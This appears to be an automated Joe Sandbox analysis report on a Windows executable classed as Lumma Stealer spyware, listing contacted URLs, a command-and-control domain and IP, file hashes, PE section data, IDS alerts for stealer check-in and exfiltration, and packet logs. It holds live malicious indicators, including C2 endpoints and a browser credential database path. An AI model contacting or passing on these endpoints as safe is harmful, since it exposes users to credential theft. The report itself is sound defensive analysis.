https://mindhandru.buzz/ZQ	Wvo9FU4qo9.exe, 00000000.00000003.1598596473.0000000005841000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1570295683.000000000584C000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1570035019.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598617419.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598795849.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/pi	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/%	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/api	Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/gL0	Wvo9FU4qo9.exe, 00000000.00000002.1673430816.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	Wvo9FU4qo9.exe, 00000000.00000003.1641288958.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1669919961.0000000000FB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apixxd8pi.default-release/key4.dbPK	Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiryBI	Wvo9FU4qo9.exe, 00000000.00000003.1602922474.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1602657804.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Wvo9FU4qo9.exe, 00000000.00000003.1571404136.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/3e	Wvo9FU4qo9.exe, 00000000.00000003.1598596473.0000000005841000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1641117823.000000000584F000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598617419.0000000005849000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1598795849.000000000584F000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000002.1673430816.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.11.101	mindhandru.buzz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581390
Start date and time:	2024-12-27 14:52:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Wvo9FU4qo9.exe renamed because original name is a hash value
Original Sample Name:	d65dfaafd41de8a252a930da84763e79.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Wvo9FU4qo9.exe

Simulations

Behavior and APIs

Time	Type	Description
08:53:24	API Interceptor	8x Sleep call for process: Wvo9FU4qo9.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.11.101	RDb082EApV.exe	Get hash	malicious	LummaC	Browse
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.216.236
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	104.21.31.138
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.94.92
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	104.21.11.101
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949755746308833
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Wvo9FU4qo9.exe
File size:	1'890'304 bytes
MD5:	d65dfaafd41de8a252a930da84763e79
SHA1:	0519330da9c1f922266baddeffd933b3b0a5f705
SHA256:	4448ef4ccedffb399427afd699eb2fdfbbdd74da541bf38bce45b2bab2efde42
SHA512:	741309e8c5d5d7d2a6e47b886458a8da345fe3387a43288aec7c3543237a82dc7e5d792460f578c0c7bb6500ddd0890f86b2a702ca039749dce7cd70b83dc7a7
SSDEEP:	49152:MszFMD2gak5MP6EouEJeMXHSQP9LmCUMNuf2DojGB:MceXDEp+e2f75Nue8G
TLSH:	7295333284B13DF8D92BD97CBABBF408B04986028DA39DA20D1FF56DA17F793B045558
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................J...........@...........................J......}....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3330B81C0Ah
movzx ebx, byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3330B83C05h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, dword ptr [00000000h]
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	c8403c12b8df15b5dff711f60d9f13c6	False	0.9995915032679739	data	7.982349711059476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b0000	0x200	8b78d8759cea0375b8761ff7931eadc0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nefrsmja	0x305000	0x1a4000	0x1a3600	49e4fa0725666da4b0fb1c6fad8975f8	False	0.9949230393070044	data	7.954783069172778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mbmugyej	0x4a9000	0x1000	0x600	59544742c50f6535fd087cfc326d090f	False	0.6178385416666666	data	5.257624766021435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	d9af46214d9874e6feebb135812bddc0	False	0.07548253676470588	DOS executable (COM)	0.7473095598233263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T14:53:24.925894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49706	104.21.11.101	443	TCP
2024-12-27T14:53:25.686371+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49706	104.21.11.101	443	TCP
2024-12-27T14:53:25.686371+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49706	104.21.11.101	443	TCP
2024-12-27T14:53:27.099697+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	104.21.11.101	443	TCP
2024-12-27T14:53:27.853969+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49707	104.21.11.101	443	TCP
2024-12-27T14:53:27.853969+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49707	104.21.11.101	443	TCP
2024-12-27T14:53:30.119269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49708	104.21.11.101	443	TCP
2024-12-27T14:53:30.964950+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49708	104.21.11.101	443	TCP
2024-12-27T14:53:32.414989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49709	104.21.11.101	443	TCP
2024-12-27T14:53:34.696988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49710	104.21.11.101	443	TCP
2024-12-27T14:53:37.781848+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49712	104.21.11.101	443	TCP
2024-12-27T14:53:40.357787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49714	104.21.11.101	443	TCP
2024-12-27T14:53:43.243801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49715	104.21.11.101	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:53:23.578650951 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:23.578769922 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:23.578870058 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:23.582706928 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:23.582722902 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:24.925734043 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:24.925894022 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:24.928760052 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:24.928771973 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:24.929020882 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:24.977943897 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.006393909 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.006419897 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.006562948 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:25.686348915 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:25.686454058 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:25.686506033 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.737699986 CET	49706	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.737755060 CET	443	49706	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:25.818500042 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.818531036 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:25.818634987 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.818903923 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:25.818919897 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.099601030 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.099697113 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.101737022 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.101751089 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.102154016 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.103652000 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.103684902 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.103768110 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.853982925 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854042053 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854074001 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854100943 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854125977 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854180098 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.854223013 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.854242086 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.854269028 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.858961105 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.867022991 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.867152929 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.867278099 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.867300034 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.867357969 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.875446081 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.931102991 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.931139946 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:27.977969885 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:27.977991104 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.024828911 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.055135965 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.058917046 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.058947086 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.058969975 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.058985949 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.059039116 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.059045076 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.059066057 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.059109926 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.059381962 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.059391022 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.059400082 CET	49707	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.059406996 CET	443	49707	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.907087088 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.907150030 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:28.907215118 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:28.907680035 CET	49708	443	192.168.2.9	104.21.11.101
